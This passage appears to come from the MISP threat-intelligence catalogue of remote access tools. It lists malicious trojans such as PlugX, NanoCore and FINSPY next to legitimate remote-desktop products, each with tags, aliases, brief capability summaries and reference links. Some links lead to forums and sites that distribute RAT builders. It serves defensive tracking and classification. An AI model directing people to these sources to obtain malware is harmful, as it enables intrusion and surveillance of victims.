http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml

xRAT

Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).

The tag is: *misp-galaxy:rat="xRAT"*

Table 6549. Table References

Links
https://github.com/c4bbage/xRAT

Biodox

The tag is: *misp-galaxy:rat="Biodox"*

Table 6550. Table References

Links
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html

Offence

Offense RAT is a free renote administration tool made in Delphi 9.

The tag is: *misp-galaxy:rat="Offence"*

Table 6551. Table References

Links
https://leakforums.net/thread-31386?tid=31386&&pq=1

Apocalypse

The tag is: *misp-galaxy:rat="Apocalypse"*

View relationships graph

Apocalypse has relationships with:

- similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 6552. Table References

Links
https://leakforums.net/thread-36962

JCage

The tag is: *misp-galaxy:rat="JCage"*

Table 6553. Table References

Links
https://leakforums.net/thread-363920

Nuclear RAT

Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).

The tag is: *misp-galaxy:rat="Nuclear RAT"*

Table 6554. Table References

Links
http://malware.wikia.com/wiki/Nuclear_RAT
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Ozone

C++ REMOTE CONTROL PROGRAM

The tag is: *misp-galaxy:rat="Ozone"*

Table 6555. Table References

Links
http://ozonercp.com/

Xanity

The tag is: *misp-galaxy:rat="Xanity"*

Table 6556. Table References

Links

https://github.com/alienwithin/xanity-php-rat

DarkMoon

The tag is: *misp-galaxy:rat="DarkMoon"*

DarkMoon is also known as:

- Dark Moon

Xpert

The tag is: *misp-galaxy:rat="Xpert"*

Table 6557. Table References

Links
http://broad-product.biz/forum/r-a-t-(remote-administration-tools)/xpert-rat-3-0-10-by-abronsius(vb6)/
https://www.nulled.to/topic/18355-xpert-rat-309/
https://trickytamilan.blogspot.lu/2016/03/xpert-rat.html

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: *misp-galaxy:rat="Kiler RAT"*

Kiler RAT is also known as:

- Njw0rm

View relationships graph

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Table 6558. Table References

Links
https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off

Brat

The tag is: *misp-galaxy:rat="Brat"*

MINI-MO

The tag is: *misp-galaxy:rat="MINI-MO"*

Lost Door

Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.

The tag is: *misp-galaxy:rat="Lost Door"*

Lost Door is also known as:

- LostDoor

Table 6559. Table References

Links
http://lost-door.blogspot.lu/
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat

Loki RAT

Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.

The tag is: *misp-galaxy:rat="Loki RAT"*

Table 6560. Table References

Links
https://www.rekings.com/loki-rat-php-rat/

MLRat

The tag is: *misp-galaxy:rat="MLRat"*

Table 6561. Table References

Links
https://github.com/BahNahNah/MLRat

SpyCronic

The tag is: *misp-galaxy:rat="SpyCronic"*

Table 6562. Table References

Links
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html
https://ranger-exploit.com/spycronic-v1-02-1/

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

The tag is: *misp-galaxy:rat="Pupy"*

View relationships graph

Pupy has relationships with:

- similar: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="likely"

Table 6563. Table References

Links
https://github.com/n1nj4sec/pupy

Nova

Nova is a proof of concept demonstrating screen sharing over UDP hole punching.

The tag is: *misp-galaxy:rat="Nova"*

Table 6564. Table References

Links

http://novarat.sourceforge.net/

BD Y3K RAT

The tag is: *misp-galaxy:rat="BD Y3K RAT"*

BD Y3K RAT is also known as:

- Back Door Y3K RAT
- Y3k

Table 6565. Table References

Links
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=2
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=0&softwareVersion=6.0&releaseVersion=S177
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20292
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20264

Turkojan

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: *misp-galaxy:rat="Turkojan"*

Table 6566. Table References

Links
http://turkojan.blogspot.lu/

TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: *misp-galaxy:rat="TINY"*

Table 6567. Table References

Links
http://josh.com/tiny/

SharK

sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: *misp-galaxy:rat="SharK"*

SharK is also known as:

- SHARK
- Shark

View relationships graph

SharK has relationships with:

- similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Table 6568. Table References

Links
https://www.security-database.com/toolswatch/SharK-3-Remote-Administration-Tool.html
http://lpc1.clpccd.cc.ca.us/lpc/mdaoud/CNT7501/NETLABS/Ethical_Hacking_Lab_05.pdf

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.

The tag is: *misp-galaxy:rat="Snowdoor"*

Snowdoor is also known as:

- Backdoor.Blizzard
- Backdoor.Fxdoor
- Backdoor.Snowdoor
- Backdoor:Win32/Snowdoor

Table 6569. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99

Paradox

The tag is: *misp-galaxy:rat="Paradox"*

Table 6570. Table References

Links
https://www.nulled.to/topic/155464-paradox-rat/

SpyNote

Android RAT

The tag is: *misp-galaxy:rat="SpyNote"*

View relationships graph

SpyNote has relationships with:

- similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

Table 6571. Table References

Links
https://www.rekings.com/spynote-v4-android-rat/

ZOMBIE SLAYER

The tag is: *misp-galaxy:rat="ZOMBIE SLAYER"*

HTTP WEB BACKDOOR

The tag is: *misp-galaxy:rat="HTTP WEB BACKDOOR"*

NET-MONITOR PRO

Net Monitor for Employees lets you see what everyone's doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.

The tag is: *misp-galaxy:rat="NET-MONITOR PRO"*

Table 6572. Table References

Links
https://networklookout.com/help/

DameWare Mini Remote Control

Affordable remote control software for all your customer support and help desk needs.

The tag is: *misp-galaxy:rat="DameWare Mini Remote Control"*

DameWare Mini Remote Control is also known as:

- dameware

Table 6573. Table References

Links
http://www.dameware.com/dameware-mini-remote-control

Remote Utilities

Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.

The tag is: *misp-galaxy:rat="Remote Utilities"*

Table 6574. Table References

Links
https://www.remoteutilities.com/

Ammyy Admin

Ammyy Admin is a completely portable remote access program that’s extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.

The tag is: *misp-galaxy:rat="Ammyy Admin"*

Ammyy Admin is also known as:

- Ammyy

Table 6575. Table References

Links
http://ammyy-admin.soft32.com/

Ultra VNC

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

The tag is: *misp-galaxy:rat="Ultra VNC"*

Table 6576. Table References

Links
http://www.uvnc.com/

AeroAdmin

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

The tag is: *misp-galaxy:rat="AeroAdmin"*

Table 6577. Table References

Links
http://www.aeroadmin.com/en/

Windows Remote Desktop

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: *misp-galaxy:rat="Windows Remote Desktop"*

RemotePC

RemotePC, for good or bad, is a more simple free remote desktop program. You're only allowed one connection (unless you upgrade) but for many of you, that'll be just fine.

The tag is: *misp-galaxy:rat="RemotePC"*

Table 6578. Table References

Links
https://www.remotepc.com/

Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

The tag is: *misp-galaxy:rat="Seecreen"*

Seecreen is also known as:

- Firnass

Table 6579. Table References

Links
http://seecreen.com/

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

The tag is: *misp-galaxy:rat="Chrome Remote Desktop"*

Table 6580. Table References

Links
https://chrome.google.com/webstore/detail/chrome-remote-desktop/gbchcmhmhahfdphkhkmpfmihenigjmpp?hl=en

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.

The tag is: *misp-galaxy:rat="AnyDesk"*

Table 6581. Table References

Links
https://anydesk.com/remote-desktop

LiteManager

LiteManager is another remote access program, and it's strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: *misp-galaxy:rat="LiteManager"*

Table 6582. Table References

Links
http://www.litemanager.com/

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: *misp-galaxy:rat="Comodo Unite"*

Table 6583. Table References

Links
https://www.comodo.com/home/download/download.php?prod=comodounite

ShowMyPC

ShowMyPC is a portable and free remote access program that’s nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: *misp-galaxy:rat="ShowMyPC"*

Table 6584. Table References

Links
https://showmypc.com/

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.

The tag is: *misp-galaxy:rat="join.me"*

Table 6585. Table References

Links
https://www.join.me/

DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

The tag is: *misp-galaxy:rat="DesktopNow"*

Table 6586. Table References

Links
http://www.nchsoftware.com/remotedesktop/index.html

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter’s screen.

The tag is: *misp-galaxy:rat="BeamYourScreen"*

Table 6587. Table References

Links
http://www.beamyourscreen.com/

Casa RAT

The tag is: *misp-galaxy:rat="Casa RAT"*

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: *misp-galaxy:rat="Bandook RAT"*

Table 6588. Table References

Links
http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35 *NEW_/[http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35*NEW_/]

Cerberus RAT

The tag is: *misp-galaxy:rat="Cerberus RAT"*

Table 6589. Table References

Links
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html

Syndrome RAT

The tag is: *misp-galaxy:rat="Syndrome RAT"*

Snoopy

Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.

The tag is: *misp-galaxy:rat="Snoopy"*

Table 6590. Table References

Links
http://www.spy-emergency.com/research/S/Snoopy.html

5p00f3r.N$ RAT

The tag is: *misp-galaxy:rat="5p00f3r.N$ RAT"*

P. Storrie RAT

The tag is: *misp-galaxy:rat="P. Storrie RAT"*

1. Storrie RAT is also known as:
   - P.Storrie RAT

xHacker Pro RAT

The tag is: *misp-galaxy:rat="xHacker Pro RAT"*

NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: *misp-galaxy:rat="NetDevil"*

View relationships graph

NetDevil has relationships with:

- similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"

Table 6591. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: *misp-galaxy:rat="NanoCore"*

View relationships graph

NanoCore has relationships with:

- similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Table 6592. Table References

Links
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family

The tag is: *misp-galaxy:rat="Cobian RAT"*

View relationships graph

Cobian RAT has relationships with:

- similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 6593. Table References

Links
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Netsupport Manager

NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

The tag is: *misp-galaxy:rat="Netsupport Manager"*

Table 6594. Table References

Links
http://www.netsupportmanager.com/index.asp

Vortex

The tag is: *misp-galaxy:rat="Vortex"*

Assassin

The tag is: *misp-galaxy:rat="Assassin"*

Net Devil

The tag is: *misp-galaxy:rat="Net Devil"*

Net Devil is also known as:

- NetDevil

View relationships graph

Net Devil has relationships with:

- similar: misp-galaxy:rat="NetDevil" with estimative-language:likelihood-probability="likely"

Table 6595. Table References

Links
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702

A4Zeta

The tag is: *misp-galaxy:rat="A4Zeta"*

Table 6596. Table References

Links
http://www.megasecurity.org/trojans/a/a4zeta/A4zeta_b2.html

Greek Hackers RAT

The tag is: *misp-galaxy:rat="Greek Hackers RAT"*

Table 6597. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

MRA RAT

The tag is: *misp-galaxy:rat="MRA RAT"*

Table 6598. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

Sparta RAT

The tag is: *misp-galaxy:rat="Sparta RAT"*

Table 6599. Table References

Links
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html

LokiTech

The tag is: *misp-galaxy:rat="LokiTech"*

MadRAT

The tag is: *misp-galaxy:rat="MadRAT"*

Tequila Bandita

The tag is: *misp-galaxy:rat="Tequila Bandita"*

Table 6600. Table References

Links
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html

Toquito Bandito

The tag is: *misp-galaxy:rat="Toquito Bandito"*

Table 6601. Table References

Links
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html

MofoTro

MofoTro is a new rat coded by Cool_mofo_2.

The tag is: *misp-galaxy:rat="MofoTro"*

Table 6602. Table References

Links
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotroresurrection.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html

Hav-RAT

Written in Delphi

The tag is: *misp-galaxy:rat="Hav-RAT"*

Table 6603. Table References

Links
http://www.megasecurity.org/trojans/h/hav/Havrat1.2.html

ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.

The tag is: *misp-galaxy:rat="ComRAT"*

View relationships graph

ComRAT has relationships with:

- similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 6604. Table References

Links
https://attack.mitre.org/wiki/Software/S0126

4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.

The tag is: *misp-galaxy:rat="4H RAT"*

View relationships graph

4H RAT has relationships with:

- similar: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"

Table 6605. Table References

Links
https://attack.mitre.org/wiki/Software/S0065

Darknet RAT

The tag is: *misp-galaxy:rat="Darknet RAT"*

Darknet RAT is also known as:

- Dark NET RAT

Table 6606. Table References

Links
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html

CIA RAT

The tag is: *misp-galaxy:rat="CIA RAT"*

Minimo

The tag is: *misp-galaxy:rat="Minimo"*

miniRAT

The tag is: *misp-galaxy:rat="miniRAT"*

Pain RAT

The tag is: *misp-galaxy:rat="Pain RAT"*

PlugX

PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.

The tag is: *misp-galaxy:rat="PlugX"*

PlugX is also known as:

- Korplug
- SOGU
- Scontroller

View relationships graph

PlugX has relationships with:

- similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 6607. Table References

Links
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf

UNITEDRAKE

The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.

The tag is: *misp-galaxy:rat="UNITEDRAKE"*

Table 6608. Table References

Links
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771

MegaTrojan

Written in Visual Basic

The tag is: *misp-galaxy:rat="MegaTrojan"*

Table 6609. Table References

Links
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html

Venomous Ivy

The tag is: *misp-galaxy:rat="Venomous Ivy"*

Xploit

The tag is: *misp-galaxy:rat="Xploit"*

Arctic R.A.T.

The tag is: *misp-galaxy:rat="Arctic R.A.T."*

Arctic R.A.T. is also known as:

- Artic

Table 6610. Table References

Links
http://anti-virus-soft.com/threats/artic

GOlden Phoenix

The tag is: *misp-galaxy:rat="GOlden Phoenix"*

Table 6611. Table References

Links
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html

GraphicBooting

The tag is: *misp-galaxy:rat="GraphicBooting"*

Table 6612. Table References

Links

http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0

Pocket RAT

The tag is: *misp-galaxy:rat="Pocket RAT"*

Erebus

The tag is: *misp-galaxy:rat="Erebus"*

View relationships graph

Erebus has relationships with:

- similar: misp-galaxy:malpedia="Erebus (ELF)" with estimative-language:likelihood-probability="likely"

SharpEye

The tag is: *misp-galaxy:rat="SharpEye"*

Table 6613. Table References

Links
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html

VorteX

The tag is: *misp-galaxy:rat="VorteX"*

Archelaus Beta

The tag is: *misp-galaxy:rat="Archelaus Beta"*

Table 6614. Table References

Links
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html

BlackHole

C# RAT (Remote Adminitration Tool) - Educational purposes only

The tag is: *misp-galaxy:rat="BlackHole"*

View relationships graph

BlackHole has relationships with:

- similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"

Table 6615. Table References

Links
https://github.com/hussein-aitlahcen/BlackHole

Vanguard

The tag is: *misp-galaxy:rat="Vanguard"*

Table 6616. Table References

Links
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html

Ahtapod

The tag is: *misp-galaxy:rat="Ahtapod"*

Table 6617. Table References

Links
http://www.ibtimes.co.uk/turkish-journalist-baris-pehlivan-jailed-terrorism-was-framed-by-hackers-says-report-1577481

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:rat="FINSPY"*

View relationships graph

FINSPY has relationships with:

- similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"

Table 6618. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

Seed RAT

Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.

The tag is: *misp-galaxy:rat="Seed RAT"*

Table 6619. Table References

Links
http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/

SharpBot

The tag is: *misp-galaxy:rat="SharpBot"*

TorCT PHP RAT

The tag is: *misp-galaxy:rat="TorCT PHP RAT"*

Table 6620. Table References

Links
https://github.com/alienwithin/torCT-PHP-RAT

A32s RAT

The tag is: *misp-galaxy:rat="A32s RAT"*

Char0n

The tag is: *misp-galaxy:rat="Char0n"*

Nytro

The tag is: *misp-galaxy:rat="Nytro"*

Syla

The tag is: *misp-galaxy:rat="Syla"*

Table 6621. Table References

Links

http://www.connect-trojan.net/2013/07/syla-rat-0.3.html

Cobalt Strike

Cobalt Strike is software for Adversary Simulations and Red Team Operations.

The tag is: *misp-galaxy:rat="Cobalt Strike"*

View relationships graph

Cobalt Strike has relationships with:

- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 6622. Table References

Links
https://www.cobaltstrike.com/

Sakula

The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.

The tag is: *misp-galaxy:rat="Sakula"*

Sakula is also known as:

- Sakurel
- VIPER

View relationships graph

Sakula has relationships with:

- similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 6623. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

hcdLoader

hcdLoader is a remote access tool (RAT) that has been used by APT18.

The tag is: *misp-galaxy:rat="hcdLoader"*

View relationships graph

hcdLoader has relationships with:

- similar: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"

Table 6624. Table References

Links
https://attack.mitre.org/wiki/Software/S0071

Crimson

The tag is: *misp-galaxy:rat="Crimson"*

View relationships graph

Crimson has relationships with:

- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 6625. Table References

Links
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html

KjW0rm

The tag is: *misp-galaxy:rat="KjW0rm"*

View relationships graph

KjW0rm has relationships with:

- similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 6626. Table References

Links

http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html

Ghost

The tag is: *misp-galaxy:rat="Ghost"*

Ghost is also known as:

- Ucul

Table 6627. Table References

Links
https://www.youtube.com/watch?v=xXZW4ajVYkI

9002

The tag is: *misp-galaxy:rat="9002"*

Sandro RAT

The tag is: *misp-galaxy:rat="Sandro RAT"*

Mega

The tag is: *misp-galaxy:rat="Mega"*

WiRAT

The tag is: *misp-galaxy:rat="WiRAT"*

3PARA RAT

The tag is: *misp-galaxy:rat="3PARA RAT"*

View relationships graph

3PARA RAT has relationships with:

- similar: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="likely"

Table 6628. Table References

Links
https://books.google.fr/books?isbn=2212290136

BBS RAT

The tag is: *misp-galaxy:rat="BBS RAT"*

Konni

KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.

The tag is: *misp-galaxy:rat="Konni"*

Konni is also known as:

- KONNI

View relationships graph

Konni has relationships with:

- similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 6629. Table References

Links
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

Felismus RAT

Used by Sowbug

The tag is: *misp-galaxy:rat="Felismus RAT"*

Table 6630. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user's device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: *misp-galaxy:rat="Xsser"*

Xsser is also known as:

- mRAT

Table 6631. Table References

Links
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html
http://malware.wikia.com/wiki/Xsser_mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.

The tag is: *misp-galaxy:rat="GovRAT"*

View relationships graph

GovRAT has relationships with:

- similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"

Table 6632. Table References

Links
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html

Rottie3

The tag is: *misp-galaxy:rat="Rottie3"*

Table 6633. Table References

Links

https://www.youtube.com/watch?v=jUg5—68Iqs

Killer RAT

The tag is: *misp-galaxy:rat="Killer RAT"*

Hi-Zor

The tag is: *misp-galaxy:rat="Hi-Zor"*

View relationships graph

Hi-Zor has relationships with:

- similar: misp-galaxy:mitre-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"

Table 6634. Table References

Links
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: *misp-galaxy:rat="Quaverse"*

Quaverse is also known as:

- QRAT

Table 6635. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/

Heseber

The tag is: *misp-galaxy:rat="Heseber"*

Cardinal

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: *misp-galaxy:rat="Cardinal"*

View relationships graph

Cardinal has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

Table 6636. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/
